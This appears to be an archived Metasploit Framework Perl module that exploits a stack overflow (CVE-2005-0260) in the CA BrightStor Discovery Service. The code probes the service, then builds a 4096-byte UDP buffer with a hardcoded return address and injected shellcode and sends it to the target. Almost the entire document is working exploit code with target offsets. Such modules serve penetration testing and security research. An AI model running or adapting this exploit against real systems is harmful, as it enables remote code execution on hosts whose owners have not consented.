home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / cabrightstor_disco.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  162 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::cabrightstor_disco;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'     => 'CA BrightStor Discovery Service Overflow',
  20.     'Version'  => '$Revision: 1.16 $',
  21.     'Authors'  => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
  22.     'Arch'     => [ 'x86' ],
  23.     'OS'       => [ 'win32', 'win2000', 'winxp', 'win2003' ],
  24.     'Priv'     => 1,
  25.     'AutoOpts' => { 'EXITFUNC' => 'process' },
  26.  
  27.     'UserOpts' =>
  28.       {
  29.         'RHOST' => [1, 'ADDR', 'The target address'],
  30.         'RPORT' => [1, 'PORT', 'The target port', 41524],
  31.       },
  32.  
  33.     'Payload' =>
  34.       {
  35.         'Space'     => 2048,
  36.         'BadChars'  => "\x00",
  37.         'Prepend' => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
  38.         'Keys'        => ['+ws2ord'],
  39.       },
  40.  
  41.     'Description'  => Pex::Text::Freeform(qq{
  42.         This module exploits a vulnerability in the CA BrightStor
  43.         Discovery Service. This vulnerability occurs when a large
  44.         request is sent to UDP port 41524, triggering a stack
  45.         overflow.
  46. }),
  47.  
  48.     'Refs'    =>
  49.       [
  50.           ['OSVDB', '13613'],
  51.         ['BID',    '12491'],
  52.         ['CVE',    '2005-0260'],
  53.         ['URL',    'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
  54.         ['MIL', '14'],        
  55.       ],
  56.  
  57.     'Targets' =>
  58.       [
  59.         ['cheyprod.dll 12/12/2003', 0x23808eb0], # call to edi reg
  60.       ],
  61.  
  62.     'Keys'    => ['brightstor'],
  63.  
  64.     'DisclosureDate' => 'Dec 20 2004',
  65.   };
  66.  
  67. sub new {
  68.     my $class = shift;
  69.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  70.     return($self);
  71. }
  72.  
  73. sub Check {
  74.     my $self = shift;
  75.     my $target_host = $self->GetVar('RHOST');
  76.     my $target_port = 41523;
  77.  
  78.     # Connection #1 should not receive a response
  79.     my $s = Msf::Socket::Tcp->new
  80.       (
  81.         'PeerAddr'  => $target_host,
  82.         'PeerPort'  => $target_port,
  83.       );
  84.  
  85.     if ($s->IsError) {
  86.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  87.         return $self->CheckCode('Connect');
  88.     }
  89.  
  90.     $s->Send("META");
  91.     my $res = $s->Recv(-1, 1);
  92.     $s->Close;
  93.  
  94.     if ($res) {
  95.         $self->PrintLine("[*] The discovery returned a strange response: $res");
  96.     }
  97.  
  98.     # Connection #2 should receive the hostname of the target
  99.     my $s = Msf::Socket::Tcp->new
  100.       (
  101.         'PeerAddr'  => $target_host,
  102.         'PeerPort'  => $target_port,
  103.       );
  104.  
  105.     if ($s->IsError) {
  106.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  107.         return $self->CheckCode('Connect');
  108.     }
  109.  
  110.     $s->Send("hMETA");
  111.     my $res = $s->Recv(-1, 1);
  112.     $s->Close;
  113.  
  114.     if (! $res) {
  115.         $self->PrintLine("[*] The discovery service did not respond to our query");
  116.         return $self->CheckCode('Generic');
  117.     }
  118.  
  119.     $self->PrintLine("[*] Discovery service active on host: $res");
  120.     return $self->CheckCode('Detected');
  121. }
  122.  
  123. sub Exploit {
  124.     my $self = shift;
  125.     my $target_host = $self->GetVar('RHOST');
  126.     my $target_port = $self->GetVar('RPORT');
  127.     my $target_idx  = $self->GetVar('TARGET');
  128.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  129.     my $target = $self->Targets->[$target_idx];
  130.  
  131.     $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
  132.  
  133.     my $s = Msf::Socket::Udp->new
  134.       (
  135.         'PeerAddr'  => $target_host,
  136.         'PeerPort'  => $target_port,
  137.       );
  138.  
  139.     if ($s->IsError) {
  140.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  141.         return;
  142.     }
  143.  
  144.     my $bang = "X" x 4096;
  145.  
  146.     # esp @ 971
  147.     # ret @ 968
  148.     # edi @ 1046
  149.     # end = 4092
  150.  
  151.     substr($bang, 968, 4, pack('V', $target->[1]));
  152.     substr($bang, 1046, length($shellcode), $shellcode);
  153.  
  154.     $self->PrintLine("[*] Sending " .length($bang) . " bytes to remote host.");
  155.     $s->Send($bang);
  156.     $s->Recv(-1, 5);
  157.  
  158.     return;
  159. }
  160.  
  161. 1;
  162.